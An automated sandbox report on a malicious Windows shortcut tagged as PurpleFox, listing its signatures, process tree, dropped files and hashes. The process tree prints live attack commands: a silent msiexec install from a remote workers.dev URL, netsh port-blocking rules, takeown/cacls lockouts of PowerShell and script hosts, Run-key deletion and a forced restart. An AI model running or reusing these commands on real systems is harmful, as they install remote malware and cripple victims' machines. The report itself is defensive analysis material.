Analysis

  • max time kernel
    117s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    03/10/2023, 13:58

General

  • Target

    11468a727bd8298fc93e1651400e437def16158c93e0c6cdc239df72fc16df03_JC.lnk

  • Size

    1KB

  • MD5

    1370c8b810befea6651d6e60dee0b591

  • SHA1

    7bbd08152f5eb10c199904e646ddd672e138e456

  • SHA256

    11468a727bd8298fc93e1651400e437def16158c93e0c6cdc239df72fc16df03

  • SHA512

    d6316cfb95c1205982ac4b0c20986a207132a89f4ab5bfd8eb20ba1e2b8eaf57e45d63dbb3d97100b390786fc911aa197ad9f7fb2f9eef779eb5e62297be606b

Malware Config

Signatures

  • Detect PurpleFox MSI 1 IoCs

    Detect PurpleFox MSI.

  • PurpleFox

    PurpleFox is an exploit kit used to distribute other malware families and first seen in 2018.

  • Blocklisted process makes network request 1 IoCs
  • Stops running service(s) 3 TTPs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 6 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 11 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 44 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 60 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\11468a727bd8298fc93e1651400e437def16158c93e0c6cdc239df72fc16df03_JC.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2956
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i http://black-sun-a335.asyorfplmnv.workers.dev/mnwODBptK6jU/5hwtrLyyHFiv/7b0985c861986ec9e2087ade8273e544009d68e1/SsdxxIp8DqeQ.jpg /q
      2⤵
      • Use of msiexec (install) with remote resource
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious use of AdjustPrivilegeToken
      PID:2632
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3056
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 89A8BBC2D051A55C32C0B2314E56338C
      2⤵
      • Loads dropped DLL
      PID:2492
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1C1B2CDBF3C476E903F8729FA41571AA M Global\MSI0000
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1232
      • C:\Windows\SysWOW64\powercfg.exe
        "C:\Windows\SysWOW64\powercfg.exe" /S 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1116
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -Seconds 900; Restart-Computer -Force
        3⤵
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2836
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add policy name=qianye
        3⤵
        • Modifies data under HKEY_USERS
        PID:2948
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filterlist name=Filter1
        3⤵
        • Modifies data under HKEY_USERS
        PID:1952
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:1772
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:2808
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:2464
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
        3⤵
        • Modifies data under HKEY_USERS
        PID:2416
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
        3⤵
        • Modifies data under HKEY_USERS
        PID:2108
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
        3⤵
        • Modifies data under HKEY_USERS
        PID:2872
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:1132
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:2248
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:1964
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:2352
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:1936
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=7777 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:2068
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:2268
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:544
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:892
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14443 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:1528
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14444 protocol=TCP
        3⤵
        • Modifies data under HKEY_USERS
        PID:2244
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add filteraction name=FilteraAtion1 action=block
        3⤵
        • Modifies data under HKEY_USERS
        PID:2444
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1
        3⤵
        • Modifies data under HKEY_USERS
        PID:2720
      • C:\Windows\SysWOW64\netsh.exe
        "C:\Windows\SysWOW64\netsh.exe" ipsec static set policy name=qianye assign=y
        3⤵
        • Modifies data under HKEY_USERS
        PID:2676
      • C:\Windows\SysWOW64\takeown.exe
        "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\jscript.dll
        3⤵
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2604
      • C:\Windows\SysWOW64\cacls.exe
        "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\jscript.dll /E /P everyone:N
        3⤵
          PID:2944
        • C:\Windows\SysWOW64\takeown.exe
          "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\jscript.dll
          3⤵
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1580
        • C:\Windows\SysWOW64\cacls.exe
          "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\jscript.dll /E /P everyone:N
          3⤵
            PID:372
          • C:\Windows\SysWOW64\takeown.exe
            "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\cscript.exe
            3⤵
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:1464
          • C:\Windows\SysWOW64\cacls.exe
            "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\cscript.exe /E /P everyone:N
            3⤵
              PID:1456
            • C:\Windows\SysWOW64\takeown.exe
              "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\cscript.exe
              3⤵
              • Modifies file permissions
              • Suspicious use of AdjustPrivilegeToken
              PID:1848
            • C:\Windows\SysWOW64\cacls.exe
              "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\cscript.exe /E /P everyone:N
              3⤵
                PID:2952
              • C:\Windows\SysWOW64\takeown.exe
                "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                3⤵
                • Modifies file permissions
                • Suspicious use of AdjustPrivilegeToken
                PID:2448
              • C:\Windows\SysWOW64\cacls.exe
                "C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N
                3⤵
                  PID:2480
                • C:\Windows\SysWOW64\takeown.exe
                  "C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
                  3⤵
                  • Modifies file permissions
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1832
                • C:\Windows\SysWOW64\cacls.exe
                  "C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N
                  3⤵
                    PID:1600
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
                    3⤵
                      PID:2808
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\SysWOW64\reg.exe" delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
                      3⤵
                        PID:2228
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg /f
                        3⤵
                          PID:2396
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\SysWOW64\sc.exe" stop wmiApSrv
                          3⤵
                          • Launches sc.exe
                          PID:2440
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\SysWOW64\sc.exe" config wmiApSrv start=disabled
                          3⤵
                          • Launches sc.exe
                          PID:2356

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Config.Msi\f76870e.rbs

                      Filesize

                      2KB

                      MD5

                      3a00f2cfe6e1d3f988a40084971be830

                      SHA1

                      2f0439e6730a20bd143dc09543cbc60a92549d51

                      SHA256

                      68d5ac4675feffc108430436954306bec6625798d4d0f607d4db58f3f7f4fd08

                      SHA512

                      4ee184d7a6783a6452ce4759da78ef6c8a78558558220aba3f066489240306c58d4da931896013e498f0f7ff0e1229cbaee03907837073aa84267cc783928c07

                    • C:\Windows\Installer\MSI7DF6.tmp

                      Filesize

                      2.9MB

                      MD5

                      eb9a4cf233789b96f940be0186a26988

                      SHA1

                      002a1cee740fa212732379d1f00dbcf7c0cccbf2

                      SHA256

                      24d40ba4bf19e3cb942918eb8091ab467b11d5d737aef8e37cffc5306d0081d8

                      SHA512

                      725eefc24cf43ad0d5022f20608b1d149e9a4285cde7dc21b621aca3647d402a2ac7a2c0751614bae5f6d98c2b52e280e471f7f67f8916041c042bd1911784ce

                    • C:\Windows\Installer\MSI8299.tmp

                      Filesize

                      379KB

                      MD5

                      305a50c391a94b42a68958f3f89906fb

                      SHA1

                      4110d68d71f3594f5d3bdfca91a1c759ab0105d4

                      SHA256

                      f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

                      SHA512

                      fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

                    • C:\Windows\Installer\MSI84EB.tmp

                      Filesize

                      379KB

                      MD5

                      305a50c391a94b42a68958f3f89906fb

                      SHA1

                      4110d68d71f3594f5d3bdfca91a1c759ab0105d4

                      SHA256

                      f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

                      SHA512

                      fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

                    • C:\Windows\Installer\MSI8578.tmp

                      Filesize

                      537KB

                      MD5

                      d7ec04b009302b83da506b9c63ca775c

                      SHA1

                      6fa9ea09b71531754b4cd05814a91032229834c0

                      SHA256

                      00c0e19c05f6df1a34cc3593680a6ab43874d6cd62a8046a7add91997cfabcd4

                      SHA512

                      171c465fe6f89b9e60da97896990d0b68ef595c3f70ee89b44fcf411352da22a457c41f7b853157f1faa500513419e504696775eefabe520f835ce9be5f4081c

                    • C:\Windows\Installer\MSI8663.tmp

                      Filesize

                      379KB

                      MD5

                      305a50c391a94b42a68958f3f89906fb

                      SHA1

                      4110d68d71f3594f5d3bdfca91a1c759ab0105d4

                      SHA256

                      f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

                      SHA512

                      fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

                    • C:\Windows\Installer\MSI8663.tmp

                      Filesize

                      379KB

                      MD5

                      305a50c391a94b42a68958f3f89906fb

                      SHA1

                      4110d68d71f3594f5d3bdfca91a1c759ab0105d4

                      SHA256

                      f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

                      SHA512

                      fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

                    • \Windows\Installer\MSI8299.tmp

                      Filesize

                      379KB

                      MD5

                      305a50c391a94b42a68958f3f89906fb

                      SHA1

                      4110d68d71f3594f5d3bdfca91a1c759ab0105d4

                      SHA256

                      f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

                      SHA512

                      fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

                    • \Windows\Installer\MSI84EB.tmp

                      Filesize

                      379KB

                      MD5

                      305a50c391a94b42a68958f3f89906fb

                      SHA1

                      4110d68d71f3594f5d3bdfca91a1c759ab0105d4

                      SHA256

                      f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

                      SHA512

                      fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

                    • \Windows\Installer\MSI8578.tmp

                      Filesize

                      537KB

                      MD5

                      d7ec04b009302b83da506b9c63ca775c

                      SHA1

                      6fa9ea09b71531754b4cd05814a91032229834c0

                      SHA256

                      00c0e19c05f6df1a34cc3593680a6ab43874d6cd62a8046a7add91997cfabcd4

                      SHA512

                      171c465fe6f89b9e60da97896990d0b68ef595c3f70ee89b44fcf411352da22a457c41f7b853157f1faa500513419e504696775eefabe520f835ce9be5f4081c

                    • \Windows\Installer\MSI8663.tmp

                      Filesize

                      379KB

                      MD5

                      305a50c391a94b42a68958f3f89906fb

                      SHA1

                      4110d68d71f3594f5d3bdfca91a1c759ab0105d4

                      SHA256

                      f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

                      SHA512

                      fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

                    • memory/2836-65-0x0000000073830000-0x0000000073DDB000-memory.dmp

                      Filesize

                      5.7MB

                    • memory/2836-66-0x0000000073830000-0x0000000073DDB000-memory.dmp

                      Filesize

                      5.7MB

                    • memory/2836-67-0x0000000002580000-0x00000000025C0000-memory.dmp

                      Filesize

                      256KB

                    • memory/2836-68-0x0000000073830000-0x0000000073DDB000-memory.dmp

                      Filesize

                      5.7MB